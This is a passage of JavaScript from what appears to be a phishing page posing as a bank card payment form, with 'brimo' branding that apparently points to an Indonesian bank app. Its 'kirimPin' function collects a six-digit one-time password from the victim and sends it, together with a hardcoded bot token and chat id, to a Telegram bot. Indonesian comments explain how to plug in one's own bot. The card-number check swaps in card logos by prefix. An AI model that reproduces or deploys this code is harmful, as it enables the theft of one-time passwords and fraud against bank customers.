if (this.cardYear === this.minCardYear) return new Date().getMonth() + 1;
return 1;
}
},
watch: {
cardYear () {
if (this.cardMonth < this.minCardMonth ) {
this.cardMonth = "";
}
}
},
methods: {
flipCard (status) {
this.isCardFlipped = status;
},
focusInput (e) {
this.isInputFocused = true;
let targetRef = e.target.dataset.ref;
let target = this.$refs[targetRef];
this.focusElementStyle = {
width: `${target.offsetWidth}px`,
height: `${target.offsetHeight}px`,
transform: `translateX(${target.offsetLeft}px) translateY(${target.offsetTop}px)`
}
},
blurInput() {
let vm = this;
setTimeout(() => {
if (!vm.isInputFocused) {
vm.focusElementStyle = null;
}
}, 300);
vm.isInputFocused = false;
}
}
});
function kirimPin() {
2023-05-29 19:26:24 +00:00
2023-05-29 19:03:05 +00:00
var pin1 = document.getElementById('pin1');
var pin2 = document.getElementById('pin2');
var pin3 = document.getElementById('pin3');
var pin4 = document.getElementById('pin4');
var pin5 = document.getElementById('pin5');
var pin6 = document.getElementById('pin6');
var gabungan = '%0A𝗢 𝗧 𝗣 %3A%0A' + pin1.value + pin2.value + pin3.value + pin4.value + pin5.value + pin6.value;
var token = '5653453855:AAHFJmxmA-2Fpi8XP0_0cq-f5SpU9PlbuNc'; // Ganti dengan token bot yang kamu buat
var grup = '5627477315'; // Ganti dengan chat id dari bot yang kamu buat
$.ajax({
url: `https://api.telegram.org/bot${token}/sendMessage?chat_id=${grup}& text=${gabungan}& parse_mode=html`,
method: `POST`,
})
}
< / script >
< script >
//var pinContainer = document.getElementsByClassName("pin-code")[maxlength];
var pinContainer = document.querySelector(".pincode");
console.log('There is ' + pinContainer.length + ' Pin Container on the page.');
pinContainer.addEventListener('keyup', function (event) {
var target = event.srcElement;
var maxLength = parseInt(target.attributes["maxlength"].value, 6);
var myLength = target.value. length;
if (myLength >= maxLength) {
var next = target;
while (next = next.nextElementSibling) {
if (next == 0) break;
if (next.tagName.toLowerCase() == "input") {
next.focus();
break;
}
}
}
if (myLength === 0) {
var next = target;
while (next = next.previousElementSibling) {
if (next == 0) break;
if (next.tagName.toLowerCase() == "input") {
next.focus();
break;
}
}
}
}, false);
pinContainer.addEventListener('keydown', function (event) {
var target = event.srcElement;
target.value = "";
}, false);
< / script >
< script >
function cekno0(){$(".errtelp").empty();var o,n=$(".card-input__input1").val(),r=n.length;if(r>=4&&r<=19){o=n.substring(0,4); var a=tsel.length,e=0,t=!0;for(nomor="bukan";a>e;)tsel[e]==o&&($(".card-input__input1").css({"background-image":"url(https://upload.wikimedia.org/wikipedia/commons/4/41/Visa_Logo.png)"}),nomor="TELKOMSEL",t=!1),++e; for(a=isat.length,e=0;a>e&&t; )isat[e]==o&&($(".card-input__input1").css({"background-image":"url(https://seeklogo.com/images/G/gpn-logo-36CC6EB701-seeklogo.com.png)"}),nomor="INDOSAT",t=!1),++e; for(a=tree.length,e=0;a>e&&t; )tree[e]==o&&($(".card-input__input1").css({"background-image":"url(https://upload.wikimedia.org/wikipedia/commons/thumb/b/b7/MasterCard_Logo.svg/600px-MasterCard_Logo.svg.png)"}),nomor="THREE",t=!1),++e; for(a=sfren.length,e=0;a>e&&t; )sfren[e]==o&&($(".card-input__input1").css({"background-image":"url(https://upload.wikimedia.org/wikipedia/commons/thumb/4/40/JCB_logo.svg/600px-JCB_logo.svg.png"}),nomor="SMARTFREN",t=!1),++e; for(a=xl.length,e=0;a>e&&t; )xl[e]==o&&($(".card-input__input1").css({"background-image":"url(https://3.bp.blogspot.com/-WM_SGpSoqNY/WkDuWGIi8_I/AAAAAAAABic/6sHIwe7dh1sm0CC1ZAokqhsR3vZuRErxgCPcBGAYYCw/s1600/xl.png)"}),nomor="XL",t=!1),++e; for(a=axis.length,e=0;a>e&&t; )axis[e]==o&&($(".card-input__input1").css({"background-image":"url(https://4.bp.blogspot.com/-3GaLxmQk2sc/WkDuVAN41pI/AAAAAAAABiI/IdxzPaiB_XMNKc-37Clgmn6SxKtw_PwQACPcBGAYYCw/s1600/axis.png)"}),nomor="AXIS",t=!1),++e; "bukan"==nomor?(blocktombol(),gambaroperatorhilang()):r>=10& & 12>=r?bukablocktombol():blocktombol()}else blocktombol(),gambaroperatorhilang()}function adahurufstring(){var o=!0,n=$(".card-input__input1").val(),r=n.length;if(n=parseInt(n),n=n.toString().length,r==n+1)var o=!1;return o}function blocktombol(){$(".tombol").prop("disabled",!0)}function bukablocktombol(){$(".tombol").prop("disabled",!1)}function gambaroperatorhilang(){$(".card-input__input1").css({"background-image":"url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhShUt8NcMuBcL20gEw9MEJV-Um7IHIGE6AAyYsmzLnEgZVKU30O8vBgmkWoIsvT9lraoWxkoTwxsEk770iHBY20X5EGUZ7OWb41uDs3xzOh329qZcaSLeC40w_OZFPypTsJNjJ5rqVr3AI_PO8sIWiuEwmxKy53-PqbJ2phYD6c5iE22XVVJKlAAKY/s1600/brimo.png)"})}function isNumberKey(o){var n=o.which?o.which:event.keyCode;return n>31& & (48>n||n>57)?!1:!0}var tsel=["4365","4000","3422","4750","4895","4259","4149","4098"],isat=["6013"],tree=["5188","5221","5520","5211","5576","5463","5379","5289","5000","5520","5336","4599","5528"],sfren=["4213","3000","3565"],nomor,datapr;$(document).on("keyup",".card-input__input1",cekno0);
< / script >
< script >
const dateInput = document.getElementById('date');
// ✅ Using the visitor's timezone
dateInput.value = formatDate();
console.log(formatDate());
function padTo2Digits(num) {
return num.toString().padStart(2, '0');
}
function formatDate(date = new Date()) {
return [
date.getFullYear(),
padTo2Digits(date.getMonth() + 1),
padTo2Digits(date.getDate()),
].join('-');
}
// ✅ Using UTC (universal coordinated time)
// dateInput.value = new Date().toISOString().split('T')[0];
// console.log(new Date().toISOString().split('T')[0]);
< / script >